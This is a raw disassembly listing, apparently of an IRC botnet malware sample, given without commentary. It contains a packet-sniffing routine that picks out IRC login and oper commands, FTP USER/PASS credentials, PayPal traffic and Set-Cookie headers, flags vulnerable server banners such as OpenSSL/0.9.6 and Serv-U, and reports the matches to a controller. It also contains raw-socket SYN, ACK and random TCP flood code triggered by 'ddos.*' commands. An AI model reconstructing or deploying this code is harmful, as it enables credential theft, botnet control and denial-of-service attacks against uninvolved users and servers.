dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2BE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 93E80000h, 900226E2h dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 2780332h nop lea eax, [ebp+var_1C] push eax nop call near ptr 2780000h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2780000h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 